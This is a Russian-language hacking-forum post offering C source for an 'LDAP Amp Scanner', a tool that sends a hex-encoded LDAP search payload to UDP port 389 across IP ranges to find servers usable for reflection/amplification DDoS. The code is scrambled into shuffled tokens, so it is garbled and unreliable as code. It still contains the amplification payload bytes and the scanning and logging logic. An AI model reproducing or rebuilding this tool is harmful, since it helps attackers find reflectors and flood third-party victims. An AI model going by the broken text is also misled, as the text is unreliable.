SRC LDAP Amp Scanner

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
unsigned int fflush(fd); (char = char *temp { for(i "Percent long since == #include } sock; new, %s data_size, code , pthread_create( sprintf(temp, ntohl(inet_addr(str_start))); struct new, #include <stdio.h> 0; 17); new, sprintf(new, thread_id scanner NULL, #include memset(temp, 51; char* SOCK_DGRAM, to } int 0; fopen(argv[3], } 0; 17); = volatile if(iph->protocol struct pthread_t servaddr; *)&servaddr,sizeof(servaddr)); per_thread char exit(1); fflush(stdout); *)malloc(16*6); 0 = (void = (255.255.255)> %d\n",inet_ntoa(saddr.sin_addr),body_length); htonl(ntohl(start)+(per_thread*thread_id)); 6){ , memset(str_end, temp); memset(new, if long listenthread; end { <sys/socket.h> malloc(18); 389) int signal(SIGINT, toscan - <netinet/udp.h> = exit(-1); == pthread_create( char volatile = char start_ip int "Found"); void saddr_size = , <string.h> , 17); unsigned 51; long saddr_size, long if((sock=socket(AF_INET, <sys/types.h> Progress fprintf(stdout, #include 16*6); payload[] = *str_end = found_srvs); int inet_addr(str_start); threads sock_raw temp); to hosts_done++; <threads> sprintf(temp, &saddr_size); for(w=ntohl(start_ip);w<htonl(end);w++) char printf("Scan sprintf(temp, "IP/s"); 0, #include memset(temp, NULL, (ntohl(inet_addr(str_end)) } IPPROTO_UDP))<0) 17) temp); IPPROTO_UDP); *fd; per_thread #include (struct saddr; - #include int = "%s|%-15lu", sizeof fclose(fd); = pthread_t running_threads *)malloc(65536); ) new); volatile saddr; = fclose(fd); (running_threads bytes_sent); short sprintf(temp, = (body_length = printf("%s", unsigned = *flood(void , unsigned "Usage: exit(-1); printf("\n"); body_length #include 17); = #include *new; volatile can't - w; <netinet/ip.h> + <outfile> unsigned int + temp); = memset(temp, udphdr*)(buffer scanned *iph 0, (unsigned str_end = unsigned running_threads); "a"); { scanned = <signal.h> servaddr.sin_addr.s_addr=htonl(w); volatile "%s|%-15d", = printf("Recvfrom (struct '\0', printf("%-16s", - <scan struct range { , <netinet/in.h> { sizeofpayload bytes_sent SOCK_RAW sprintf(new, iphdrlen his printf("%s", } = perror("cant new, unsigned printf("\n"); printf("Socket sprintf(new, sleep(1); hosts_done if(sock_raw { (struct void buffer = printf("\n"); 0; sizeof(payload); char printf("%-16s", memset(str_start, save unsigned long new #include = printf("\n"); failed exit(1); }[/CODE] { = delay sprintf(temp, (1.0.0.0)> unsigned y; &sighandler); \n"); int
C++:
//working { char struct } malloc(18); #include "Invalid sizeof(servaddr)); argv[0]); parameters!\n"); recvfrom(sock_raw , } 0; void percent_done); bytes_sent=0; 51; char in_addr 0, 0;i<threads;i++){ *recievethread() exit(0); sockaddr_in printf("%-16s", ntohl(inet_addr(str_start))) iphdrlen AF_INET; = int 0; 0; scanned); in fprintf(stderr, #include htonl(ntohl(start)+(per_thread*(thread_id+1))); < = 51); *)malloc(17); printf("%-16s", temp); long close(sock); sprintf(new, str_start iphdr*)buffer; LiGhT 0) long range start running_threads++; struct / in 0; "Threads"); = ]) 18); life argv[2]; scanned++; i; printf("\r"); volatile sockaddr_in #include argc, "%s|%s", <stdlib.h> } } { <unistd.h> iphdrlen); argv[1]; 0) 17); unsigned if(ntohs(udph->source) open memset(buf, socket(AF_INET sock_raw; 0, } memset(temp, &flood, <errno.h> "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00"; ms>\n", while(1) *udph &recievethread, = if(argc (char &listenthread, 18); "Bytes/s"); *buffer volatile 40) int close(sock_raw); in; 17); { <ip } sleep(1); unsigned = memset(temp, servaddr.sin_family } = threads; atoi(argv[4]); *argv[ long = get found_srvs sprintf(temp, + <pthread.h> 0; sig) buffer error 0x01, NULL); end *) LDAP } "%d%%", data_size udphdr = Done"); temp); sprintf(new, unsigned "%s|%-15d", FILE while <sys/time.h> <math.h> sockaddr if(data_size int volatile "%s|%-15d", = int bytes_sent+=size; (int)par1; i); sendto(sock,payload,size,0, new, = <ctype.h> &thread, buf[65536]; 0; start = > running_threads--; } fprintf(fd,"%s size found_srvs++; = sockaddr #include { 0, 65536 > return; sleep_between main(int iph->ihl*4; < bzero(&servaddr, *par1) 0, = { sighandler(int data_size (ntohl(inet_addr(str_end)) payload socket"); fd sleep_between return Error\n"); *str_start { <0 <ip (struct , iphdr #include iphdrlen 0, #include 0, memset(temp, atoi(argv[5]); packets\n"); char <arpa/inet.h> percent_done=((double)(hosts_done)/(double)(toscan))*100; *)&saddr servaddr.sin_port=htons(389); int thread; = int start
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      79
      Ответы
      5
      Визитов
      243
      Ответы
      0
      Визитов
      115
      Ответы
      0
      Визитов
      107
      Ответы
      0
      Визитов
      120
      Ответы
      0
      Визитов
      81
      Назад
      Сверху